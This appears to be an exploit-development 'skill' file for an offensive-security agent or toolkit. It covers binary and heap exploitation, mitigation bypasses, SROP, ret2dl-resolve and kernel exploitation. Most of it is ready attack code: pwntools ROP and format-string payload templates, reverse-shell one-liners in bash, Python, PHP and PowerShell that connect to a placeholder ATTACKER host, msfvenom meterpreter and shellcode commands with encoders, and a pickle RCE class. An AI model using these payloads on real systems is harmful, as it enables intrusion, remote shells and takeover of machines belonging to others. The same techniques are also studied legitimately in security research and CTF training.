exploit-development · git:20260528.c57f98d · 2026-05-28 · sha256 79cbb0c7615580fc
exploit-development git:20260528.c57f98dA
Immutable. This exact content is served forever at /api/v1/blob/79cbb0c7615580fc.
---
name: exploit-development
description: PoC development, payload crafting, shellcode generation, ROP chains, heap exploitation, bypass techniques for modern mitigations (ASLR, DEP, CFI, stack canaries)
metadata:
type: offensive
phase: exploitation
tools: pwntools, gdb, radare2, ropper, msfvenom, one_gadget
kill_chain:
phase: [weaponize, exploit]
step: [2, 4]
attck_tactics: [TA0042, TA0002]
depends_on: [recon-osint, vulnerability-analysis]
feeds_into: [edr-evasion, shellcode-dev, initial-access]
inputs: [vulnerability_list, attack_surface_map]
outputs: [exploit_poc, payload, finding_record]
---
# Exploit Development
## When to Activate
- Confirmed vulnerability needs working PoC
- Binary exploitation (stack/heap overflow, format string, UAF)
- Web exploitation requiring custom payloads
- Bypass of security mitigations (ASLR, DEP, canaries, CFI)
- Shellcode development for specific architectures
## Binary Exploitation
### Stack Buffer Overflow
```python
from pwn import *
# Template: stack overflow with ROP
elf = ELF('./vulnerable')
rop = ROP(elf)
libc = ELF('./libc.so.6')
# Find offset
offset = cyclic_find(core.fault_addr) # or pattern_offset
# Leak libc address
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main']) # return to main for second stage
payload = flat(
b'A' * offset,
rop.chain()
)
# Stage 2: calculate libc base, call system("/bin/sh")
libc.address = leaked_puts - libc.symbols['puts']
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh\x00')))
payload2 = flat(
b'A' * offset,
rop2.chain()
)
```
### Heap Exploitation
```python
# tcache poisoning (glibc 2.26+)
# 1. Allocate chunks A, B
# 2. Free B, Free A (tcache: A -> B)
# 3. Allocate, overwrite A's fd pointer to target
# 4. Allocate twice — second allocation at target address
# House of Force (old glibc)
# Overwrite top chunk size to -1
# Calculate distance to target
# malloc(distance) consumes wilderness
# Next malloc returns target address
# Fastbin dup
# Free A, Free B, Free A (fastbin: A -> B -> A)
# Allocate with fd = target (must have valid size at target-0x8)
```
### Format String Exploitation
```python
# Read: %p %p %p ... (leak stack/libc addresses)
# Write: %n writes number of chars printed so far
# Targeted write: %{offset}$n writes to specific argument
# pwntools fmtstr_payload:
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {target_addr: value}, write_size='short')
```
### ROP Chain Construction
```bash
# Find gadgets
ropper --file ./binary --search "pop rdi"
ROPgadget --binary ./binary --ropchain
one_gadget ./libc.so.6 # one-shot execve gadgets
# Common ROP patterns:
# ret2libc: pop rdi; ret -> "/bin/sh" -> system
# ret2csu: __libc_csu_init gadgets for multi-arg calls
# Stack pivot: xchg rsp, rax; ret (pivot to controlled buffer)
# SROP: sigreturn to set all registers
```
### Mitigation Bypass
| Mitigation | Bypass Technique |
|------------|-----------------|
| ASLR | Info leak (format string, partial overwrite, brute force 12-bit on 32-bit) |
| DEP/NX | ROP, ret2libc, mprotect() to make region executable |
| Stack Canary | Info leak, overwrite only specific vars, thread-local canary overwrite |
| PIE | Partial overwrite (last 12 bits fixed), info leak base address |
| CFI | Dispatch gadgets, COOP (counterfeit OOP), JIT spray |
| RELRO (Full) | Overwrite __malloc_hook, __free_hook (old glibc), exit handlers, TLS-dtor |
| Seccomp | Allowed syscall abuse, kernel bugs, TOCTOU on syscall args |
## Web Exploitation Payloads
### Reverse Shells
```bash
# Bash
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
# Python
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'
# PHP
php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
# PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER',PORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII.GetBytes($r)),0,$r.Length)}"
```
### Shellcode Generation
```bash
# Linux x64 reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=PORT -f python -b '\x00'
# Windows x64 meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=PORT -f csharp -e x64/xor_dynamic
# Shellcode constraints:
# - Null-free: avoid \x00 (use xor encoding, sub instead of mov 0)
# - Alphanumeric: only [A-Za-z0-9] (use alpha_mixed encoder)
# - Size-limited: use egg hunter or staged payload
```
### Deserialization Exploits
```python
# Python pickle RCE
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
payload = pickle.dumps(Exploit())
# Java (ysoserial)
# java -jar ysoserial.jar CommonsCollections6 'command' | base64
# PHP
# O:8:"Exploit":1:{s:4:"cmd";s:2:"id";}
# .NET (ysoserial.net)
# ysoserial.exe -g TypeConfuseDelegate -f Json.Net -c "command"
```
## Exploit Quality Standards
- PoC must be reliable (>90% success rate stated)
- Document exact versions/conditions required
- Include pre-exploitation checks (version fingerprint)
- Provide cleanup steps post-exploitation
- Note detection indicators for blue team awareness
## Advanced: Modern Heap Exploitation
### tcache Poisoning (glibc 2.26-2.35)
```python
from pwn import *
# tcache: per-thread cache, singly-linked list, LIFO
# No integrity checks in glibc < 2.32
# glibc 2.32+: safe-linking (XOR fd with heap address >> 12)
# Classic tcache poisoning:
# 1. Allocate A, B (same tcache bin)
# 2. Free A, Free B → tcache: B → A
# 3. Overwrite B's fd pointer (via UAF or overflow) to target
# 4. malloc() returns B, next malloc() returns target address
# 5. Write arbitrary data at target
# Safe-linking bypass (glibc 2.32+):
# fd is stored as: (fd_addr >> 12) ^ next_ptr
# Need heap leak to calculate: real_fd = leak ^ (target_addr)
# Formula: encrypted_fd = (chunk_addr >> 12) ^ target_addr
```
### House of Apple (glibc 2.35+)
```python
# Modern technique when __malloc_hook/__free_hook are removed (glibc 2.34+)
# Target: _IO_FILE structures (stdout/stderr/stdin)
# House of Apple 2:
# 1. Get arbitrary write primitive (heap overflow, UAF)
# 2. Corrupt _IO_list_all to point to fake FILE structure
# 3. Fake FILE has: _wide_data → _wide_vtable → controlled function pointer
# 4. Trigger: exit() or FSOP (File Stream Oriented Programming)
# 5. Code execution via _IO_wstr_overflow or _IO_wdefault_xsputn
# Key structures:
# struct _IO_FILE_plus { _IO_FILE file; _IO_jump_t *vtable; }
# vtable is checked against valid range (__libc_IO_vtables section)
# BUT: _wide_vtable is NOT checked → use _IO_wfile_jumps as target
```
### House of Einherjar (Heap Consolidation)
```python
# Exploit backward consolidation in glibc
# 1. Overflow null byte into next chunk's prev_inuse flag
# 2. Set fake prev_size to trick free() into consolidating
# 3. Overlapping chunks → read/write freed chunk metadata
# 4. Tcache/fastbin poisoning from overlapping region
# Requirements: single null byte overflow (off-by-one)
# Result: overlapping heap chunks → controlled metadata corruption
```
### House of Botcake (tcache + unsorted bin)
```python
# Combine tcache and unsorted bin for double-free without detection
# 1. Fill tcache (7 entries for size)
# 2. Free chunk A → goes to unsorted bin
# 3. Free chunk B (adjacent) → consolidates with A in unsorted bin
# 4. Empty tcache entries
# 5. Free chunk B again → B is now in BOTH unsorted bin AND tcache
# 6. Allocate from unsorted bin (get consolidated A+B)
# 7. Overwrite B's fd in tcache → arbitrary write
```
## Advanced: Type Confusion & UAF Patterns
### Browser-Style Type Confusion
```c
// V8 (Chrome) type confusion pattern:
// Objects have a "map" (hidden class) that describes their layout
// Type confusion: make engine think object A has type B's map
// Access fields at wrong offsets → OOB read/write
// JIT confusion:
// 1. Create object with type A (known layout)
// 2. JIT compiler optimizes based on type A's map
// 3. Change object's map to type B (different field offsets)
// 4. JIT'd code accesses wrong memory → OOB
// Exploitation:
// Type confusion → OOB access → read/write primitive →
// fake object → addrof/fakeobj → arbitrary R/W →
// overwrite JIT page → shellcode execution
```
### Use-After-Free Exploitation
```c
// Classic UAF pattern:
// 1. Allocate object (e.g., 0x80 bytes)
// 2. Store function pointer or vtable in object
// 3. Free object (memory returned to allocator)
// 4. Reallocate with controlled data (same size → same address)
// 5. Trigger use of freed object → uses attacker-controlled data
// Heap spray for UAF:
// Spray objects of target size to fill freed slot
// When UAF triggers, it uses sprayed data
for (int i = 0; i < 1000; i++) {
spray[i] = malloc(target_size);
memcpy(spray[i], fake_vtable_data, target_size);
}
// Trigger UAF → freed object's vtable now points to attacker data
```
## Advanced: Kernel Exploitation Techniques
### Windows Kernel Pool Spray
```c
// Spray kernel pool with controlled objects to fill freed slots
// Common spray objects:
// 1. Named Pipe attributes (NtFsControlFile)
// Allocate: NtFsControlFile(hPipe, FSCTL_PIPE_SET_ATTRIBUTE)
// Control size precisely, data fully controlled
// 2. _WNF_STATE_DATA (Windows Notification Facility)
// Allocate: NtUpdateWnfStateData
// Great for building R/W primitives (can read back via NtQueryWnfStateData)
// 3. _TOKEN objects
// Allocate: NtDuplicateToken
// Fixed size, contains security-critical fields
// Exploitation chain:
// Pool overflow → corrupt adjacent _WNF_STATE_DATA →
// Modify AllocatedSize/DataSize → OOB read/write →
// Read EPROCESS.Token → Modify to SYSTEM token
```
### Linux Kernel msg_msg Exploitation
```c
// struct msg_msg is versatile for kernel exploitation:
// - Controllable size (up to ~PAGE_SIZE per segment)
// - Linked list with next/prev pointers
// - Can be used for both spray and data read
// Technique: msg_msg overflow
// 1. Spray msg_msg objects adjacent to vulnerable object
// 2. Overflow into msg_msg header → corrupt m_list or m_type
// 3. Read back via msgrcv() → leak kernel addresses
// 4. Overwrite next pointer → arbitrary read/write
// Cross-cache attack:
// Free msg_msg → slab goes back to page allocator →
// Reallocate as different slab type → type confusion across caches
```
## Advanced: SROP (Sigreturn-Oriented Programming)
```python
from pwn import *
# SROP: use sigreturn syscall to set ALL registers at once
# When kernel returns from signal handler, it restores state from stack frame
# Attacker crafts fake sigframe → controls every register including RIP/RSP
context.arch = 'amd64'
frame = SigreturnFrame()
frame.rax = 59 # execve syscall
frame.rdi = binsh_addr # "/bin/sh"
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = syscall_ret # syscall; ret gadget
frame.rsp = new_stack # stack for after execve
# Trigger: set rax = 15 (SYS_rt_sigreturn), then syscall
payload = flat(
b'A' * offset,
pop_rax_ret,
15, # SYS_rt_sigreturn
syscall_ret, # trigger sigreturn
bytes(frame) # fake signal frame on stack
)
# Result: kernel restores ALL registers from our frame → execve("/bin/sh")
```
## Advanced: ret2dl-resolve
```python
# Bypass ASLR without any leak — resolve arbitrary libc function
# Abuse dynamic linker's lazy binding mechanism
# How dynamic linking works:
# 1. First call to printf → jumps to PLT → calls _dl_runtime_resolve
# 2. _dl_runtime_resolve looks up symbol in .dynsym, gets address
# 3. Patches GOT entry → future calls go directly to libc
# Attack: forge Elf64_Sym and Elf64_Rela structures on stack/heap
# _dl_runtime_resolve will resolve ANY symbol we specify
# Point it at "system" → writes system() address into GOT → call it
from pwn import *
elf = ELF('./binary')
rop = ROP(elf)
# Build fake relocation entry + symbol entry
# Pointing to "system" string
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr) # read fake structures to known address
rop.ret2dlresolve(dlresolve) # trigger resolution
payload = flat(b'A' * offset, rop.chain())
# Send fake dl-resolve structures:
p.send(dlresolve.payload)
```